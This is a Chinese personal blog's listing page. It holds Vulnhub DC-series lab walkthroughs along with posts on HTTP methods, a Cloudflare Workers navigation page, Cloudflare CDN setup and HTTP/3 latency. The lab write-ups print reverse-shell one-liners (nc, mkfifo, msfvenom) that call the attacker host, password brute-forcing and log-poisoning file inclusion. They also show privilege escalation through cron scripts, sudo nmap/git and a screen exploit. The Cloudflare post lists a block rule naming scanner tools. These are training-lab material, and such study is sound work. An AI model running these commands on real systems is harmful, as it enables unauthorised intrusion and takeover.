首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
6,712 阅读
2
Cloudflare SAAS 接入自选教程
3,218 阅读
3
CloudFront CDN配置教程
2,768 阅读
4
Frpc使用XTCP不通过服务器传输
2,459 阅读
5
兽装曲腿制作文档
2,357 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
450
篇文章
累计收到
135
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
祈杰のblog
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
64
篇与
的结果
2020-04-24
Vulnhub靶场之DC-7
这周开始上课了,没法每日更新了,只能周末抽时间发,,,那么进入正题老规矩先搜索主机的地址arp-scan -l用nmap扫描端口和信息nmap -sS -A -p 1-65535 192.168.75.140开启了80端口,访问一下看看emmm,为啥这么熟悉,。,。使用之前的方法攻击Drupal,用msf测试失败。。。。总觉得哪里和原先的不一样????挂上SSR去谷歌搜一波看看!!!配置文件?账号密码?能不能登录后台?SSH呢,奇怪的操作增加了WTF奇怪的操作果然增加了查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。看看权限和内容drush和gpg是什么东西?其中drush是专门用来管理Drupal站点的shell,可以用来修改密码可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功。登录成功在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。但是从下图中可以看到Text format里面没有PHP code选项。这些都弄好了之后,在kali上监听端口,最后点击Preview按钮。不过这个貌似被移除了可以通过手动安装。选择URL并点击installURL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz随后在Content中添加webshell.php,点击Content > Add content > Basic page,先将Text format修改为PHP code,再写入反弹shell可以直接msfvenom生成一个反弹shell代码msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.75.129 LPORT=4444 R > DC7_shell.php复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Previewmsfconsole use exploit/multi/handler set lhost 192.168.75.129 set lport 4444 set payload php/meterpreter/reverse_tcp run点击Preview后反弹成功,接着进入交互shellshell python -c "import pty;pty.spawn('/bin/bash')"我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.129 1234 >/tmp/f" >> backups.sh 然后在kali中监听相应端口,等待计划任务的执行,执行后便获得rootshell,接着进入交互shellnc -lvnp 1234 shell python -c "import pty;pty.spawn('/bin/bash')" 拿下flag
2020年04月24日
171 阅读
0 评论
0 点赞
2020-04-19
Vulnhub靶场之DC-6
还是老规矩。使用arp-scan -l查找我们的目标主机192.168.75.139使用nmap进一步获取相关信息 nmap -sS -A -p 1-65535 192.168.75.139开启了80-22两个端口。直接访问80进一步测试和DC2的靶场有点类似,本地还需要重定向一下、nano /etc/hosts 或编辑C:\Windows\System32\drivers\etc\hosts访问成功使用nmap漏洞扫描脚本nmap --script=vuln 192.168.75.139跑出来一些奇怪的东西,复制出来,做用户表,然后用hydra爆破?吧/usr/share/wordlists/rockyou.txt复制出来为passwd.txthydra -L user.txt -P passwd.txt wordy http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&rememberne=forever&wp-submit=Log In:S=1'可得账号,密码为:mark/helpdesk01发现有Activity monitor,这个模块的tools中的lookup存在CVE-2018-15877远程命令执行漏洞burpsuit直接反弹shellnc -lvvp 4444nc -e /bin/bash 192.168.75.129 4444根据以往的操作,进入到home目录下。应该有一些奇奇怪怪的东西在里面cd /home/mark ls cat things-to-do.txt给出了graham的密码,更换账号ssh登陆ssh graham@192.168.75.139尝试提权sudo -l发现jens账户是无密得,不过ssh是登陆不上去的,但是可以看到jens账户对backups.sh是有权限执行的,也是有写入的权限,所以,尝试在执行此文件时,顺道反弹shellecho 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| bin/sh -i 2>&1 | nc 192.168.75.129 5555' > backups.shsudo -u jens /home/jens/backups.sh攻击机监听端口5555,获得jens的shell同样,发现root账户是无密得,但是nmap是有root权限的写一个nmap的脚本,运行从而获得root权限echo 'os.execute("/bin/sh")' >root.nse ls sudo nmap --script=/home/jens/root.nse whoami cd ~ cat theflag.txt
2020年04月19日
143 阅读
1 评论
0 点赞
2020-04-17
Vulnhub靶场之DC-5
还是老规矩,先搜集一波信息arp-scan -l 检索一下我们的主机设备192.168.75.138使用nmap扫描端口信息 nmap -sS -p 1-65535 -A 192.168.75.138发现启用了nginx服务,开启着80端口。访问试试似乎是一个介绍页面,还有一个留言板发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面]使用kali下的自带字典因为我用的是Community版本的burp。。。。爆破没法设置线程巨慢,因此盗几张图既然是文件包含,直接老规矩去读取/etc/passwdthankyou.php?file=/etc/passwd对方使用的是Nginx,那么能不能读取出nginx的日志文件呢。查询资料得出,默认nginx的日志路径是/var/log/nginx/*.log如果说他将会读取日志。那么能否在日志里面插入一句话木马呢?插入成功上菜刀连接http://192.168.75.138/thankyou.php?file=/var/log/nginx/error.log试试看成功不出所料,又是一个低权用户那么用nc反弹到kali里面玩nc -e /bin/bash 192.168.75.129 1234nc -lvvp 1234然后我们寻找具有sudo权限的操作find / -perm -u=s -type f 2>/dev/nullscreen提权?searchsploit screen 4.5.0查找可用于screen 4.5.0的漏洞脚本文件cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.textcp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件gcc -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限cd /tmpchmod +x dc5.shls -l./dc5.sh
2020年04月17日
273 阅读
0 评论
0 点赞
2020-04-16
Vulnhub靶场之DC-4 AIS
开头先解释一下为啥没有DC-3DC3的虚拟机安装完后,设备无法联网,内网无法被发现,因此跳过。老规矩,先查一下目标地址192.168.75.137使用nmap对目标进行扫描nmap -sS -p 1-65535 -A 192.168.75.137开启了80.22端口,直接访问80端口,看看是何方神圣还是老规矩,上Hydra大杀器hydra爆破密码: hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.75.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F如果你出现这种情况请进入/usr/share/wordlists/路径下kali自带的密码字典rockyou.txt.gz进行解压:gzip -d rockyou.txt.gz登录成功用burp抓包查看nc反弹shell: nc -e /bin/sh 192.168.75.129 4444发现三个账户jim的账户中有密码文件爆破猜解ssh密码,与账户 hydra -L dc4.txt -P passwd.txt -t 6 ssh://192.168.75.131登录进去。看起来好像是有一个邮件的意思噗,密码都出来了登录上去尝试sudo -l 提权,出现提示,使用teehee更改权限,并提权为root
2020年04月16日
311 阅读
0 评论
0 点赞
2020-04-15
Vulnhub靶场之DC-2 WordPress
环境:kali:192.168.75.129 DC2 -靶机 和 kali 在同一C段先是arp-scan -l检索局域网内主机发现靶机地址,使用nmap进行扫描 nmap -A -p 1-65535 192.168.75.136发现打开了80端口,SSH端口那么直接访问80看看有没有什么神奇的东西还跳转了,上hosts重定向。win10路径: C:\Windows\System32\drivers\etclinux路径:/etc/hosts 访问成功,发现flag1使用工具 cewl爬取生成密码cewl http://dc-2/ -w passwd.txt准备使用wpscan进行搞事情,但我。。上hydra大杀器吧,修是不可能修的,,,WordPress默认后台地址:/wp-admin 且WordPress当用户名不存在时会提示用户不存在,可增加爆破效率hydra -L user.txt -P passwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'我们跑出了 jerry和tom账户,登进去看看tom,没啥东西,jerry用户界面如下,发现了flag2啊哈想到上一个DC1的靶机是用SSH干进去的问题是,WordPress的CMS本身还是比较安全的,问题基本都出在插件上,可这个jerry的账号权限不够,无法安装插件来上传shell那就硬着头皮ssh试试看,用登录账号密码试试jerry老贼不是同一个密码,太草(一种植物)蛋了试试看Tom老贼不愧是你。。。。执行命令发现 command not found,百度得知这是因为ssh远程连接到服务器的环境变量中不包含对应可执行文件的路径。需要自行添加BASH_CMDS[a]=/bin/sh;a $ /bin/bash export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin得到flag3切换到Jerry,发现flag4.txt哈?Git还能提权?试试看吧。看看git有没有那个权限 sudo -lflag不会骗人(小声bb)sudo git -p help !/bin/sh奇怪,我怎么没法提权,查了查百度,发现git有一个缓冲区溢出漏洞,在使用sudo git -p --help时,不需要输入root密码即可以root权限执行这条命令。我们尽量减小缓冲区的行数,使其一次性显示不完这条命令的回显结果,这样这条命令就一直处于运行状态,加上此时处于root权限,我们直接在这时候打开bash shell,直接提权至root。看起来要打开gui了,来自Xshell的鄙,艹(一种植物)奇怪的知识增加了
2020年04月15日
144 阅读
0 评论
0 点赞
2020-04-11
浅谈HTTP的各种请求方法
早在http1.0时代,最基础的三个请求模式被定义出来,他们分别是GET POST HEAD慢慢到了Http1.1时代,请求基本模型就出来了,这一次,增加了更多的功能类请求OPTIONS, PUT, DELETE, TRACE 和 CONNECTGET那么,先从最最最基础的GET请求开始说起,做为http三巨头之一,顾名思义,他面向于获取类型的请求,比如,向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url,其最明显的特征就是,打开地址栏,你可以非常清楚的看到,他发送了什么。POSTpost作为和get一样古老的东西,作为“邮件”同样顾名思义,它是想服务器发送数据,然后再从服务器那边获取返回数据。向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form,最明显的特征就是,你无法直观的看出,你的客户端对服务器发送了什么,数据内容是存在于body内的,只能通过抓包解析出。HEAD我通常吧head请求看作是get请求的阉割版,他只响应http头部,响应主体不会被发出,这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。是的,心跳检测用head请求再好不过了。OPTIONS返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能PUT向指定资源位置上传其最新内容DELETE请求服务器删除Request-URL所标识的资源TRACE回显服务器收到的请求,主要用于测试或诊断CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。那么,值得注意的,在请求报文里面,请求类型必须是大写的,否则服务器可能将返回405 method not allowdHTTP工作原理HTTP协议定义Web客户端如何从Web服务器请求Web页面,以及服务器如何把Web页面传送给客户端。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求报文,请求报文包含请求的方法、URL、协议版本、请求头部和请求数据。服务器以一个状态行作为响应,响应的内容包括协议的版本、成功或者错误代码、服务器信息、响应头部和响应数据。HTTP 请求/响应的步骤:客户端连接到Web服务器->发送Http请求->服务器接受请求并返回HTTP响应->释放连接TCP连接->客户端浏览器解析HTML内容1、客户端连接到Web服务器一个HTTP客户端,通常是浏览器,与Web服务器的HTTP端口(默认为80)建立一个TCP套接字连接。例如,http://www.baidu.com2、发送HTTP请求通过TCP套接字,客户端向Web服务器发送一个文本的请求报文,一个请求报文由请求行、请求头部、空行和请求数据4部分组成。3、服务器接受请求并返回HTTP响应Web服务器解析请求,定位请求资源。服务器将资源复本写到TCP套接字,由客户端读取。一个响应由状态行、响应头部、空行和响应数据4部分组成。4、释放连接TCP连接若connection 模式为close,则服务器主动关闭TCP连接,客户端被动关闭连接,释放TCP连接;若connection 模式为keepalive,则该连接会保持一段时间,在该时间内可以继续接收请求;5、客户端浏览器解析HTML内容客户端浏览器首先解析状态行,查看表明请求是否成功的状态代码。然后解析每一个响应头,响应头告知以下为若干字节的HTML文档和文档的字符集。客户端浏览器读取响应数据HTML,根据HTML的语法对其进行格式化,并在浏览器窗口中显示。其实就是曾经发表的一篇文章中RTT的说明
2020年04月11日
146 阅读
0 评论
0 点赞
2020-04-04
如何利用Cloudflare Workers构建一个免费无服务器导航页
Cloudflare的东西,出了名的慷慨,Workers功能在前不久提供了免费的模式每天10W次请求数量,无限流量,真猛啊!拿去做个小站简直不要太舒服哦Cloudflare的东西都懂的,抗DDoS一级棒哦,就是电信联通延迟有点美丽。。。》》》白嫖万岁!老规矩,先把代码丢上来,然后慢慢讲解const config = { title: "导航首页", //write your website title subtitle: "鹏龙-道记", //write your website subtitle logo_icon: "sitemap", //select your logo by semantic-ui icon (you can get more msg in:https://semantic-ui.com/elements/icon.html) hitokoto: true, //use hitokoto or not search:true, //enable search function search_engine:[ //choose search engine which you use { name:"百 度", template:"https://www.baidu.com/s?wd=$s" }, { name:"谷 歌", template:"https://www.google.com/search?q=$s" }, { name:"360", template:"https://www.so.com/s?q=$s" }, { name:"shodan", template:"https://www.shodan.io/search?query=$s" }, ], selling_ads: false, //Selling your domain or not.(turning on may be helpful for selling this domain by showing some ads.) sell_info:{ domain:"example.com", price:500, //domain price mon_unit:"yen sign", //monetary unit contact:[ //how to contact you { type:"envelope", //contact type ("weixin","qq","telegram plane","envelope" or "phone") content:"info@example.com" } ] }, lists: [ //Url list { name:"技术", icon:"code", list:[ { url:"https://oschina.net/", name:"开源中国", desc:"程序员集散地" }, { url:"https://v2ex.com", name:"V2EX", desc:"程序员集散地" }, { url:"https://csdn.net/", name:"CSDN技术社区", desc:"程序员集散地" }, { url:"https://github.com/", name:"Github", desc:"程序员集散地" }, { url:"https://www.vulbox.com/", name:"漏洞盒子", desc:"漏洞盒子" }, { url:"https://www.ichunqiu.com/", name:"I春秋", desc:"I春秋" }, { url:"https://www.butian.net/", name:"补天", desc:"补天" }, { url:"https://www.freebuf.com/", name:"freebuf", desc:"freebuf" }, ] }, { name:"学习", icon:"graduation cap", list:[ { url:"https://w3school.com.cn/", name:"W3school在线教程", desc:"程序员集散地" }, { url:"https://www.runoob.com/", name:"菜鸟教程", desc:"程序员集散地" }, { url:"https://segmentfault.com/", name:"思否社区", desc:"程序员集散地" }, { url:"https://jianshu.com/", name:"简书", desc:"程序员集散地" }, ] }, { name:"博客圈", icon:"code", list:[ { url:"https://www.jcdpn.cn/", name:"鹏龙-道记", desc:"日常更新" }, ] } ] } const el = (tag, attrs, content) => `<${tag} ${attrs.join(" ")}>${content}</${tag}>`; async function handleRequest(request) { const init = { headers: { 'content-type': 'text/html;charset=UTF-8', }, } return new Response(renderHTML(renderIndex(),config.selling_ads? renderSeller() :null), init); } addEventListener('fetch', event => { return event.respondWith(handleRequest(event.request)) }) /*通过分析链接 实时获取favicon * @url 需要分析的Url地址 */ function getFavicon(url){ if(url.match(/https{0,1}:\/\//)){ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url.split('//')[1]; return "https://icon.occ.hk/get.php?url=" + url; }else{ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url; return "https://icon.occ.hk/get.php?url=http://" + url; } } /** Render Functions * 渲染模块函数 */ function renderIndex(){ const footer = el('footer',[],el('div',['class="footer"'],'Powered by' + el('a',['class="ui label"','href="https://www.jcdpn.cn/"','target="_blank"'],el('i',['class="github icon"'],"") + '龙帝') + ' ©')); return renderHeader() + renderMain() + footer; } function renderHeader(){ const item = (template,name) => el('a',['class="item"',`data-url="${template}"`],name); var nav = el('div',['class="ui large secondary inverted menu"'],el('div',['class="item"'],el('p',['id="hitokoto"'],'条条大路通罗马'))) var title = el('h1',['class="ui inverted header"'],el('i',[`class="${config.logo_icon} icon"`],"") + el('div',['class="content"'],config.title + el('div',['class="sub header"'],config.subtitle))); var menu = el('div',['id="sengine"','class="ui bottom attached tabular inverted secondary menu"'],el('div',['class="header item"'],' ') + config.search_engine.map((link,key) =>{ if(key == 0){ return el('a',['class="active item"',`data-url="${link.template}"`],link.name); }else{ return item(link.template,link.name); } }).join("")) var input = el('div',['class="ui left corner labeled right icon fluid large input"'],el('div',['class="ui left corner label"'],el('img',['id="search-fav"','class="left floated avatar ui image"','src="https://www.baidu.com/favicon.ico"'],"")) + el('input',['id="searchinput"','type="search"','placeholder="搜索你想要知道的……"','autocomplete="off"'],"") + el('i',['class="inverted circular search link icon"'],"")); return el('header',[],el('div',['id="head"','class="ui inverted vertical masthead center aligned segment"'],(config.hitokoto ? el('div',['id="nav"','class="ui container"'],nav) : "") + el('div',['id="title"','class="ui text container"'],title + (config.search ? input + menu :"") + `${config.selling_ads ? '<div><a id="menubtn" class="red ui icon inverted button"><i class="heart icon"></i> 喜欢此域名 </a></div>' : ''}`))) } function renderMain() { var main = config.lists.map((item) => { const card = (url,name,desc)=> el('a',['class="card"',`href=${url}`,'target="_blank"'],el('div',['class="content"'],el('img',['class="left floated avatar ui image"',`src=${getFavicon(url)}`],"") + el('div',['class="header"'],name) + el('div',['class="meta"'],desc))); const divider = el('h4',['class="ui horizontal divider header"'],el('i',[`class="${item.icon} icon"`],"")+item.name); var content = el('div',['class="ui four stackable cards"'],item.list.map((link) =>{ return card(link.url,link.name,link.desc); }).join("")); return el('div',['class="ui basic segment"'],divider + content); }).join(""); return el('main',[],el('div',['class="ui container"'],main)); } function renderSeller() { const item = (type,content) => el('div',['class="item"'],el('i',[`class="${type} icon"`],"") + el('div',['class="content"'],content)); var title = el('h1',['class="ui yellow dividing header"'],el('i',['class="gem outline icon"'],"") + el('div',['class="content"'],config.sell_info.domain + ' 正在出售')); var action = el('div',['class="actions"'],el('div',['class="ui basic cancel inverted button"'],el('i',['class="reply icon"'],"") + '返回')); var contact = config.sell_info.contact.map((list) => { return item(list.type,list.content); }).join(""); var column = el('div',['class="column"'],el('h3',['class="ui center aligned icon inverted header"'],el('i',['class="circular envelope open outline grey inverted icon"'],"") + '联系我') + el('div',['class="ui relaxed celled large list"'],contact)); var price = el('div',['class="column"'],el('div',['class="ui large yellow statistic"'],el('div',['class="value"'],el('i',[`class="${config.sell_info.mon_unit} icon"`],"") + config.sell_info.price))); var content = el('div',['class="content"'],el('div',['class="ui basic segment"'],el('div',['class="ui two column stackable center aligned grid"'],el('div',['class="ui inverted vertical divider"'],'感兴趣?') + el('div',['class="middle aligned row"'],price + column)))); return el('div',['id="seller"','class="ui basic modal"'],title + content + action); } function renderHTML(index,seller) { return `<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>${config.title} - ${config.subtitle}</title> <link href="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/gh/sleepwood/cf-worker-dir@0.1.1/style.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.js"></script> </head> <body> ${index} ${config.selling_ads ? seller : ''} <script src="https://v1.hitokoto.cn/?encode=js&select=%23hitokoto" defer></script> <script> $('#sengine a').on('click', function (e) { $('#sengine a.active').toggleClass('active'); $(e.target).toggleClass('active'); $('#search-fav').attr('src',$(e.target).data('url').match(`+/https{0,1}:\/\/\S+\//+`)[0] + '/favicon.ico') ; }); $('.search').on('click', function (e) { var url = $('#sengine a.active').data('url'); url = url.replace(`+/\$s/+`,$('#searchinput').val()); window.open(url); }); /* 鼠标聚焦时,回车事件 */ $("#searchinput").bind("keypress", function(){ if (event.keyCode == 13){ // 触发需要调用的方法 $(".search").click(); } }); $('#menubtn').on('click', function (e) { $('#seller').modal('show'); }); </script> </body> </html>` }此源码来自于Github上的一位大佬,在此感谢一下。进入Cloudflare Workers控制台,有一个创建Worker的按钮。还看?直接点进去啊,慌什么。。。系统默认生成会自带一端Hello Word,我们将刚刚的代码替换进去直接保存部署,当然,你也可以调整一下,在旁边的浏览里面查看页面效果不出意料,非常无脑,直接就搞定了,自动生成的域名非常难受,你可以选择重命名来调整主机名...........边缘脚本部署是不是很简单,还堪称0成本什么是无服务器?通常而言,构建和维护易于扩展的应用程序可支持需求高峰或全球用户群,但这需要大量前期工程和持续运营支持。 开发人员不得不花费大量时间编写支持代码,而非构建应用程序本身。 而借助 Cloudflare Workers,开发人员能够构建无服务器的可扩展应用程序,无需在基础设施或操作上花费时间和精力。借助 Cloudflare Workers,开发人员能够在 Cloudflare 的全球云网络上部署无服务器的 JavaScript 应用程序,应用程序能够在这个网络中无缝扩展,更加接近最终用户。 Workers 基于 Service Workers API 构建,可为向应用程序发出的每次 HTTP(S) 请求接收事件。 然后,Workers 运行应用程序逻辑,并可向 Cloudflare Cache、Cloudflare Workers KV 或应用程序原始服务器发出后续请求,以将数据返回给用户。
2020年04月04日
522 阅读
0 评论
0 点赞
2020-04-03
Cloudflare如何自定义节点
cloudflare是非常良心的企业了,它的cdn服务的口碑是非常好的,但是随着cloudflare的用户多了,还有一些不为人知的原因,cloudflare的cdn的速度越来越慢,对于中国大陆的用户来说,也是使用的美国的节点。毕竟入口带宽是有限的,所以在用网高峰期,也就是晚上是非常卡顿的,某些番茄佬WSS+CDN祸害CF就不说了这个cloudflare也是一个非常有趣的公司,他通过cf partner提供的服务比他自己提供的服务要好一些,至少cf partner的服务可以使用cncme的接入方式和ip的接入方式,但是官网的只能使用NS方式。但cloudflare的DNS服务的体验真的不是很爽,没法暂停解析,没法编辑只能删除重建。所以大家如果不想更改NS服务器可以使用cf partner提供的服务。而且cf partner的节点据说还要快一些。这里提供两个比较稳定的cf partner的服务提供者http://cdn.bnxb.com/ 本次教程使用的网站https://cf.tlo.xyz/ 直接进入,选择域名接入填好你站的相关数据就可以看到你的网站已经激活了(原先的NS方式要先移除)然后您就可以在原域名解析商那边解析cname记录了免费给出的节点稍微有点少,只有标志性的104.27的Anycast节点。这里给出一个亚太地区访问稍快的已经解析好的记录cdns.n1.tv9v.cn不低于15个节点,本站不倒,解析不倒,不定期更换最快节点,(拜托,醒醒,你在大天朝)不过肯定比免费节点来的快晚高峰就算了吧,大天朝的晚上,延迟都会飚到200ms不过不包含移动网络,移动线路走的是香港节点,国内平均能到50-60ms海外线路就非常美观了全球平均才10-20ms 得益于Anycast的加速Cloudflare的防火墙也是个有趣的东西,很多站长经常被CC攻击(DDos就不说了,cf免费无限抗),甚至启动了5秒盾还是依旧会被穿盾。这里分享两个自用的规则验证码盾抗CC:(cf.threat_score gt 2 and not cf.client.bot)过滤扫描器UA:(http.user_agent contains "HTTrack") or (http.user_agent contains "Apache-HttpClient") or (http.user_agent contains "harvest") or (http.user_agent contains "audit") or (http.user_agent contains "dirbuster") or (http.user_agent contains "pangolin") or (http.user_agent contains "nmap") or (http.user_agent contains "sqln") or (http.user_agent contains "hydra") or (http.user_agent contains "Parser") or (http.user_agent contains "libwww") or (http.user_agent contains "BBBike") or (http.user_agent contains "sqlmap") or (http.user_agent contains "w3af") or (http.user_agent contains "owasp") or (http.user_agent contains "Nikto") or (http.user_agent contains "fimap") or (http.user_agent contains "havij") or (http.user_agent contains "zmeu") or (http.user_agent contains "BabyKrokodil") or (http.user_agent contains "netsparker") or (http.user_agent contains "httperf") or (http.user_agent contains "bench") or (http.user_agent contains "SF") or (http.user_agent contains "acunetix") or (http.user_agent contains "Appscan") or (http.user_agent contains "HP ASC") or (http.user_agent contains "Rsas") or (http.user_agent contains "WebReaver")
2020年04月03日
346 阅读
0 评论
0 点赞
2020-04-01
怎么看HTTP/3
互联网通信发展史其实是人类与RTT斗争的历史什么是RTT?RTT是Round Trip Time的缩写,通俗地说,就是通信一来一回的时间。TCP建立连接时间最早大家使用TCP来运输HTTP,TCP想必大家很熟悉了,需要三次握手,建立了TCP虚拟通道,那么这三次握手需要几个RTT时间呢?一去 (SYN)二回 (SYN+ACK)三去 (ACK)相当于一个半来回,故TCP连接的时间 = 1.5 RTT 。HTTP交易时间这意味着,用户在浏览器里输入的网址URL,直到时间流逝了1.5RTT之后,TCP才开始运输HTTP Request,浏览器收到服务器的HTTP Response,又要等待的时间为:一去(HTTP Request)二回 (HTTP Responses)故HTTP的交易时间 = 1 RTT那么基于TCP传输的HTTP通信,一共花费的时间总和:HTTP通信时间总和 = TCP连接时间 + HTTP交易时间= 1.5 RTT + 1 RTT = 2.5 RTT安全加密通信随着互联网的爆发式增长,人类发现完全明文传输的HTTP通信很不安全。做为OSI七层参考模型的现实实现的TCP/IP协议,在设计之初没有考虑安全加密的环节。互联网先驱Netscape公司,创造性发明了SSL(Secure Socket Layer),SSL位于TCP与HTTP之间,做为HTTP的安全供应商,全权负责HTTP的安全加密工作。IP / TCP / SSL / [HTTP]各个通信模块之间的站位如上所示,将HTTP用[ ]括起来,表示HTTP被SSL安全加密了。随着SSL的名气攀升,互联网标准化组织IETF,觉得SSL是一个好东西,就拿来用了。但SSL最初只是用于加密HTTP的,IETF觉得这是一个硬伤,为什么不能用来做为所有应用层协议的安全供应商呢?来传输邮件、文件、新闻等等。实现这一点很简单,只要在协议里增加一个Application Protocol 类型字段。在Application Protocol 有一个类型是“IP”,意味着TLS不仅可以运输应用层协议如HTTP、FTP,还可以运输IP,这就是Cisco Any Connect的应用场景。TLS (Transport Layer Security)于是,IETF在SSL 3.0版本的基础上,重新设计并命名了这个协议,其全新的名字为TLS,最初的版本为1.0版本。从其名字就可以看出,其核心使命就是保证传输层的安全。各个通信部门成员的占位与SSL占位一致:IP / TCP / TLS / [HTTP]到目前为止,浏览器支持的TLS版本为TLS 1.0、1.1、1.2,当然版本越高越成熟、越安全。HTTPS通常将TLS安全保护的HTTP通信,称之为HTTPS,以区别于没有TLS安全防护的HTTP明文通信。交待了上文的背景知识,还是要回到本文的主题,来看看自从引入了TLS安全防护,看看HTTPS通信的RTT增加到了多少?TLS 1.2以1.2 版本为例,看看HTTPS通信一共要消耗几个RTT时间?1. 浏览器给服务器发送的Client Hello消息(一去)首长好,我支持1.2版本,加密套件列表1、2、3…,以及我的随机码N1,请出示您的证件。2. 服务器给浏览器发送的Server Hello消息(二回)同志们好,那就1.2版本通信吧,加密套件我选用1,我的随机码N2,ECDHE密钥交换素材2,这是我的证件。同志们辛苦了!3. 浏览器给服务器发送的Key Exchange消息(三去)为人民服务! 嘴里虽这么说着,私下还要偷偷验证首长的证件是否伪造的。首长证书验证成功之后,还要给首长会话呢?会话内容如下:首长辛苦了! 我的ECDHE密钥交换素材1,接下来我发给您的消息都要加密了(Change Spec)。从这以后,双方的HTTP通信将使用TLS加密了。一共花费了1.5个RTT时间。让我们来计算一下整个HTTPS通信花费的时间总和:HTTPS通信时间总和 = TCP连接时间 + TLS 连接时间 + HTTP交易时间= 1.5 RTT + 1.5 RTT + 1 RTT = 4 RTT如果浏览器与服务器物理距离很近,RTT < 10 ms,即使4 RTT最大也不过40 ms的时间,用户压根感觉不到慢。如果浏览器与服务器相隔上万公里,一个RTT时间通常在200ms以上,4RTT时间通常在1秒以上,用户会明显感觉到网速慢了。HTTP 